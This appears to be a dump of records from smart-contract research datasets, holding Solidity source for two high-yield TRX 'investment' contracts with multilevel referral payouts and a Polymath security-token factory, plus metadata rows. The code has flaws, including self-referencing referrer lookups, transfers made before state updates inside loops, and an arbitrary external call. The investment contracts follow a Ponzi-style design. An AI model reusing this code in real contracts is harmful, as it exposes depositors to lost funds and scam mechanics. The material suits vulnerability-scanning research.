investmentPlans_.push(Objects.Plan(500, 345600)); //50% for 4 Days, 200%
}
function getCurrentPlans() public view returns (uint256[] memory, uint256[] memory, uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Objects.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
terms[i] = plan.term;
}
return
(ids,
interests,
terms);
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256, uint256[] memory, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
investor.planCount,
currentDividends,
newDividends);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
isExpireds[i] = true;
}
}
}
}
return
(planIds,
investmentDates,
investments,
currentDividends,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _ref4 = uid2Investor[_ref4].referrer;
uint256 _ref5 = uid2Investor[_ref5].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
if (_ref4 >= REFERRER_CODE) {
uid2Investor[_ref4].level4RefCount = uid2Investor[_ref4].level4RefCount.add(1);
}
if (_ref5 >= REFERRER_CODE) {
uid2Investor[_ref5].level5RefCount = uid2Investor[_ref5].level5RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {
//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(uid, _amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
return true;
}
function grant(address addr, uint256 _planId) public payable {
uint256 grantorUid = address2UID[msg.sender];
bool isAutoAddReferrer = true;
uint256 referrerCode = 0;
if (grantorUid != 0 && isAutoAddReferrer) {
referrerCode = grantorUid;
}
if (_invest(addr,_planId,referrerCode,msg.value)) {
emit onGrant(msg.sender, addr, msg.value);
}
}
function invest(uint256 _referrerCode, uint256 _planId) public payable {
if (_invest(msg.sender, _planId, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public payable {
require(msg.value == 0, "withdrawal doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
require(amount >= 10000000, "Less than the minimum amount of withdrawal requirement"); // Min Withdrawal of 10 TRX
withdrawalAmount += amount;
msg.sender.transfer(amount);
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
msg.sender.transfer(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function withdrawCommission(uint256 _amount) public onlyCommissionSender returns(bool) {
msg.sender.transfer(_amount * 1000000);
return true;
}
function getTotalInvestments() public view returns (uint256){
return totalInvestments_;
}
function _calculateReferrerReward(uint256 _uid, uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _ref4 = uid2Investor[_ref3].referrer;
uint256 _ref5 = uid2Investor[_ref4].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
_refAmount = (_investment.mul(REFERENCE_SELF_RATE)).div(1000);
uid2Investor[_uid].availableReferrerEarnings = _refAmount.add(uid2Investor[_uid].availableReferrerEarnings);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
if (_ref3 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
if (_ref4 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL4_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref4].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref4].availableReferrerEarnings);
}
if (_ref5 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL5_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref5].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref5].availableReferrerEarnings);
}
}
if (_allReferrerAmount > 0) {
referenceAccount_.transfer(_allReferrerAmount);
}
}
}
| 289,907 | 14,071 |
26d7946bac62e8fd4a88b3982357b88e14e81c4d3be32581a7b3bc291df5b4a6
| 22,129 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x5a3a30bddae1f857a19b1aed93b5cdb3c3da809a.sol
| 3,877 | 15,225 |
pragma solidity ^0.4.24;
interface IUSDTieredSTOProxy {
function deploySTO(address _securityToken, address _polyAddress, address _factoryAddress) external returns (address);
function getInitFunction(address _contractAddress) external returns (bytes4);
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function decreaseApproval(address _spender, uint _subtractedValue) external returns (bool);
function increaseApproval(address _spender, uint _addedValue) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IModuleFactory {
event ChangeFactorySetupFee(uint256 _oldSetupCost, uint256 _newSetupCost, address _moduleFactory);
event ChangeFactoryUsageFee(uint256 _oldUsageCost, uint256 _newUsageCost, address _moduleFactory);
event ChangeFactorySubscriptionFee(uint256 _oldSubscriptionCost, uint256 _newMonthlySubscriptionCost, address _moduleFactory);
event GenerateModuleFromFactory(address _module,
bytes32 indexed _moduleName,
address indexed _moduleFactory,
address _creator,
uint256 _setupCost,
uint256 _timestamp);
event ChangeSTVersionBound(string _boundType, uint8 _major, uint8 _minor, uint8 _patch);
//Should create an instance of the Module, or throw
function deploy(bytes _data) external returns(address);
function getTypes() external view returns(uint8[]);
function getName() external view returns(bytes32);
function getInstructions() external view returns (string);
function getTags() external view returns (bytes32[]);
function changeFactorySetupFee(uint256 _newSetupCost) external;
function changeFactoryUsageFee(uint256 _newUsageCost) external;
function changeFactorySubscriptionFee(uint256 _newSubscriptionCost) external;
function changeSTVersionBounds(string _boundType, uint8[] _newVersion) external;
function getSetupCost() external view returns (uint256);
function getLowerSTVersionBounds() external view returns(uint8[]);
function getUpperSTVersionBounds() external view returns(uint8[]);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library VersionUtils {
function isValidVersion(uint8[] _current, uint8[] _new) internal pure returns(bool) {
bool[] memory _temp = new bool[](_current.length);
uint8 counter = 0;
for (uint8 i = 0; i < _current.length; i++) {
if (_current[i] < _new[i])
_temp[i] = true;
else
_temp[i] = false;
}
for (i = 0; i < _current.length; i++) {
if (i == 0) {
if (_current[i] <= _new[i])
if(_temp[0]) {
counter = counter + 3;
break;
} else
counter++;
else
return false;
} else {
if (_temp[i-1])
counter++;
else if (_current[i] <= _new[i])
counter++;
else
return false;
}
}
if (counter == _current.length)
return true;
}
function compareLowerBound(uint8[] _version1, uint8[] _version2) internal pure returns(bool) {
require(_version1.length == _version2.length, "Input length mismatch");
uint counter = 0;
for (uint8 j = 0; j < _version1.length; j++) {
if (_version1[j] == 0)
counter ++;
}
if (counter != _version1.length) {
counter = 0;
for (uint8 i = 0; i < _version1.length; i++) {
if (_version2[i] > _version1[i])
return true;
else if (_version2[i] < _version1[i])
return false;
else
counter++;
}
if (counter == _version1.length - 1)
return true;
else
return false;
} else
return true;
}
function compareUpperBound(uint8[] _version1, uint8[] _version2) internal pure returns(bool) {
require(_version1.length == _version2.length, "Input length mismatch");
uint counter = 0;
for (uint8 j = 0; j < _version1.length; j++) {
if (_version1[j] == 0)
counter ++;
}
if (counter != _version1.length) {
counter = 0;
for (uint8 i = 0; i < _version1.length; i++) {
if (_version1[i] > _version2[i])
return true;
else if (_version1[i] < _version2[i])
return false;
else
counter++;
}
if (counter == _version1.length - 1)
return true;
else
return false;
} else
return true;
}
function pack(uint8 _major, uint8 _minor, uint8 _patch) internal pure returns(uint24) {
return (uint24(_major) << 16) | (uint24(_minor) << 8) | uint24(_patch);
}
function unpack(uint24 _packedVersion) internal pure returns (uint8[]) {
uint8[] memory _unpackVersion = new uint8[](3);
_unpackVersion[0] = uint8(_packedVersion >> 16);
_unpackVersion[1] = uint8(_packedVersion >> 8);
_unpackVersion[2] = uint8(_packedVersion);
return _unpackVersion;
}
}
contract ModuleFactory is IModuleFactory, Ownable {
IERC20 public polyToken;
uint256 public usageCost;
uint256 public monthlySubscriptionCost;
uint256 public setupCost;
string public description;
string public version;
bytes32 public name;
string public title;
// @notice Allow only two variables to be stored
// 1. lowerBound
// 2. upperBound
// @dev (0.0.0 will act as the wildcard)
// @dev uint24 consists packed value of uint8 _major, uint8 _minor, uint8 _patch
mapping(string => uint24) compatibleSTVersionRange;
event ChangeFactorySetupFee(uint256 _oldSetupCost, uint256 _newSetupCost, address _moduleFactory);
event ChangeFactoryUsageFee(uint256 _oldUsageCost, uint256 _newUsageCost, address _moduleFactory);
event ChangeFactorySubscriptionFee(uint256 _oldSubscriptionCost, uint256 _newMonthlySubscriptionCost, address _moduleFactory);
event GenerateModuleFromFactory(address _module,
bytes32 indexed _moduleName,
address indexed _moduleFactory,
address _creator,
uint256 _timestamp);
event ChangeSTVersionBound(string _boundType, uint8 _major, uint8 _minor, uint8 _patch);
constructor (address _polyAddress, uint256 _setupCost, uint256 _usageCost, uint256 _subscriptionCost) public {
polyToken = IERC20(_polyAddress);
setupCost = _setupCost;
usageCost = _usageCost;
monthlySubscriptionCost = _subscriptionCost;
}
function changeFactorySetupFee(uint256 _newSetupCost) public onlyOwner {
emit ChangeFactorySetupFee(setupCost, _newSetupCost, address(this));
setupCost = _newSetupCost;
}
function changeFactoryUsageFee(uint256 _newUsageCost) public onlyOwner {
emit ChangeFactoryUsageFee(usageCost, _newUsageCost, address(this));
usageCost = _newUsageCost;
}
function changeFactorySubscriptionFee(uint256 _newSubscriptionCost) public onlyOwner {
emit ChangeFactorySubscriptionFee(monthlySubscriptionCost, _newSubscriptionCost, address(this));
monthlySubscriptionCost = _newSubscriptionCost;
}
function changeTitle(string _newTitle) public onlyOwner {
require(bytes(_newTitle).length > 0, "Invalid title");
title = _newTitle;
}
function changeDescription(string _newDesc) public onlyOwner {
require(bytes(_newDesc).length > 0, "Invalid description");
description = _newDesc;
}
function changeName(bytes32 _newName) public onlyOwner {
require(_newName != bytes32(0),"Invalid name");
name = _newName;
}
function changeVersion(string _newVersion) public onlyOwner {
require(bytes(_newVersion).length > 0, "Invalid version");
version = _newVersion;
}
function changeSTVersionBounds(string _boundType, uint8[] _newVersion) external onlyOwner {
require(keccak256(abi.encodePacked(_boundType)) == keccak256(abi.encodePacked("lowerBound")) ||
keccak256(abi.encodePacked(_boundType)) == keccak256(abi.encodePacked("upperBound")),
"Must be a valid bound type");
require(_newVersion.length == 3);
if (compatibleSTVersionRange[_boundType] != uint24(0)) {
uint8[] memory _currentVersion = VersionUtils.unpack(compatibleSTVersionRange[_boundType]);
require(VersionUtils.isValidVersion(_currentVersion, _newVersion), "Failed because of in-valid version");
}
compatibleSTVersionRange[_boundType] = VersionUtils.pack(_newVersion[0], _newVersion[1], _newVersion[2]);
emit ChangeSTVersionBound(_boundType, _newVersion[0], _newVersion[1], _newVersion[2]);
}
function getLowerSTVersionBounds() external view returns(uint8[]) {
return VersionUtils.unpack(compatibleSTVersionRange["lowerBound"]);
}
function getUpperSTVersionBounds() external view returns(uint8[]) {
return VersionUtils.unpack(compatibleSTVersionRange["upperBound"]);
}
function getSetupCost() external view returns (uint256) {
return setupCost;
}
function getName() public view returns(bytes32) {
return name;
}
}
library Util {
function upper(string _base) internal pure returns (string) {
bytes memory _baseBytes = bytes(_base);
for (uint i = 0; i < _baseBytes.length; i++) {
bytes1 b1 = _baseBytes[i];
if (b1 >= 0x61 && b1 <= 0x7A) {
b1 = bytes1(uint8(b1)-32);
}
_baseBytes[i] = b1;
}
return string(_baseBytes);
}
function stringToBytes32(string memory _source) internal pure returns (bytes32) {
return bytesToBytes32(bytes(_source), 0);
}
function bytesToBytes32(bytes _b, uint _offset) internal pure returns (bytes32) {
bytes32 result;
for (uint i = 0; i < _b.length; i++) {
result |= bytes32(_b[_offset + i] & 0xFF) >> (i * 8);
}
return result;
}
function bytes32ToString(bytes32 _source) internal pure returns (string result) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(_source) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function getSig(bytes _data) internal pure returns (bytes4 sig) {
uint len = _data.length < 4 ? _data.length : 4;
for (uint i = 0; i < len; i++) {
sig = bytes4(uint(sig) + uint(_data[i]) * (2 ** (8 * (len - 1 - i))));
}
}
}
contract USDTieredSTOFactory is ModuleFactory {
address public USDTieredSTOProxyAddress;
constructor (address _polyAddress, uint256 _setupCost, uint256 _usageCost, uint256 _subscriptionCost, address _proxyFactoryAddress) public
ModuleFactory(_polyAddress, _setupCost, _usageCost, _subscriptionCost)
{
require(_proxyFactoryAddress != address(0), "0x address is not allowed");
USDTieredSTOProxyAddress = _proxyFactoryAddress;
version = "1.0.0";
name = "USDTieredSTO";
title = "USD Tiered STO";
description = "It allows both accredited and non-accredited investors to contribute into the STO. Non-accredited investors will be capped at a maximum investment limit (as a default or specific to their jurisdiction). Tokens will be sold according to tiers sequentially & each tier has its own price and volume of tokens to sell. Upon receipt of funds (ETH, POLY or DAI), security tokens will automatically transfer to investors wallet address";
compatibleSTVersionRange["lowerBound"] = VersionUtils.pack(uint8(0), uint8(0), uint8(0));
compatibleSTVersionRange["upperBound"] = VersionUtils.pack(uint8(0), uint8(0), uint8(0));
}
function deploy(bytes _data) external returns(address) {
if(setupCost > 0)
require(polyToken.transferFrom(msg.sender, owner, setupCost), "Sufficent Allowance is not provided");
require(USDTieredSTOProxyAddress != address(0), "Proxy contract should be pre-set");
//Check valid bytes - can only call module init function
address usdTieredSTO = IUSDTieredSTOProxy(USDTieredSTOProxyAddress).deploySTO(msg.sender, address(polyToken), address(this));
//Checks that _data is valid (not calling anything it shouldn't)
require(Util.getSig(_data) == IUSDTieredSTOProxy(USDTieredSTOProxyAddress).getInitFunction(usdTieredSTO), "Invalid data");
require(address(usdTieredSTO).call(_data), "Unsuccessfull call");
emit GenerateModuleFromFactory(usdTieredSTO, getName(), address(this), msg.sender, setupCost, now);
return address(usdTieredSTO);
}
function getTypes() external view returns(uint8[]) {
uint8[] memory res = new uint8[](1);
res[0] = 3;
return res;
}
function getInstructions() external view returns(string) {
return "Initialises a USD tiered STO.";
}
function getTags() external view returns(bytes32[]) {
bytes32[] memory availableTags = new bytes32[](4);
availableTags[0] = "USD";
availableTags[1] = "Tiered";
availableTags[2] = "POLY";
availableTags[3] = "ETH";
return availableTags;
}
}
| 207,205 | 14,072 |
6f3d25be9da74d3c0ada5390b54e68bdebc576befb69428177f9db4a790c98ed
| 19,487 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TK/TKbqpFroQ9tVMKM7M3XxtX7ivMnhsq4ngs_GoldenTrx.sol
| 4,544 | 17,260 |
//SourceUnit: GoldenTrx.sol
pragma solidity 0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract GoldenTrx {
using SafeMath for uint;
uint constant public DEPOSITS_MAX = 300;
uint constant public INVEST_MIN_AMOUNT = 100 trx;
uint constant public INVEST_MAX_AMOUNT = 4000000 trx;
uint constant public BASE_PERCENT = 100;
uint[] public REFERRAL_PERCENTS = [1000, 400, 200, 100, 100, 50, 50, 40, 30, 20, 10];
uint constant public MARKETING_FEE = 500;
uint constant public PROJECT_FEE = 500;
uint constant public ADMIN_FEE = 500;
uint constant public NETWORK = 500;
uint constant public MAX_CONTRACT_PERCENT = 100;
uint constant public MAX_LEADER_PERCENT = 50;
uint constant public MAX_HOLD_PERCENT = 100;
uint constant public MAX_COMMUNITY_PERCENT = 50;
uint constant public PERCENTS_DIVIDER = 10000;
uint constant public CONTRACT_BALANCE_STEP = 1000000000 trx;
uint constant public LEADER_BONUS_STEP = 1000000000 trx;
uint constant public COMMUNITY_BONUS_STEP = 10000000;
uint constant public TIME_STEP = 1 days;
uint public totalInvested;
address payable public marketingAddress;
address payable public projectAddress;
address payable public adminAddress;
address payable public networkAddress;
uint public totalDeposits;
uint public totalWithdrawn;
uint public contractPercent;
uint public contractCreationTime;
uint public totalRefBonus;
struct Deposit {
uint64 amount;
uint64 withdrawn;
// uint64 refback;
uint32 start;
}
struct User {
Deposit[] deposits;
uint32 checkpoint;
address referrer;
uint64 bonus;
uint24[11] refs;
// uint16 rbackPercent;
}
mapping (address => User) internal users;
mapping (uint => uint) internal turnover;
event Newbie(address user);
event NewDeposit(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
event RefBack(address indexed referrer, address indexed referral, uint amount);
event FeePayed(address indexed user, uint totalAmount);
constructor(address payable marketingAddr, address payable projectAddr, address payable adminAddr, address payable networkAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
adminAddress = adminAddr;
networkAddress = networkAddr;
contractCreationTime = block.timestamp;
contractPercent = getContractBalanceRate();
}
// function setRefback(uint16 rbackPercent) public {
// require(rbackPercent <= 10000);
// User storage user = users[msg.sender];
// if (user.deposits.length > 0) {
// user.rbackPercent = rbackPercent;
// }
// }
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint) {
uint contractBalance = address(this).balance;
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(20));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getLeaderBonusRate() public view returns (uint) {
uint leaderBonusPercent = totalRefBonus.div(LEADER_BONUS_STEP).mul(10);
if (leaderBonusPercent < MAX_LEADER_PERCENT) {
return leaderBonusPercent;
} else {
return MAX_LEADER_PERCENT;
}
}
function getCommunityBonusRate() public view returns (uint) {
uint communityBonusRate = totalDeposits.div(COMMUNITY_BONUS_STEP).mul(10);
if (communityBonusRate < MAX_COMMUNITY_PERCENT) {
return communityBonusRate;
} else {
return MAX_COMMUNITY_PERCENT;
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint userPercentRate = getUserPercentRate(msg.sender);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalAmount;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
user.deposits[i].withdrawn = uint64(uint(user.deposits[i].withdrawn).add(dividends)); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
require(totalAmount > 0, "User has no dividends");
uint contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
// if (INVEST_MIN_AMOUNT.add(msgValue).add(halfDayTurnover) < halfDayLimit) {
// turnover[getCurrentHalfDay()] = halfDayTurnover.add(msgValue);
// } else {
// turnover[getCurrentHalfDay()] = halfDayLimit;
// }
user.checkpoint = uint32(block.timestamp);
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP.div(2)).mul(5);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return contractPercent.add(timeMultiplier);
} else {
return contractPercent;
}
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalDividends;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function invest(address referrer) public payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(msg.value >= INVEST_MIN_AMOUNT && msg.value <= INVEST_MAX_AMOUNT, "Bad Deposit");
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX, "Maximum 300 deposits from address");
// uint availableLimit = getCurrentHalfDayAvailable();
// require(availableLimit > 0, "Deposit limit exceed");
uint msgValue = msg.value;
// if (msgValue > availableLimit) {
// msg.sender.transfer(msgValue.sub(availableLimit));
// msgValue = availableLimit;
// }
// uint halfDayTurnover = turnover[getCurrentHalfDay()];
// uint halfDayLimit = getCurrentDayLimit();
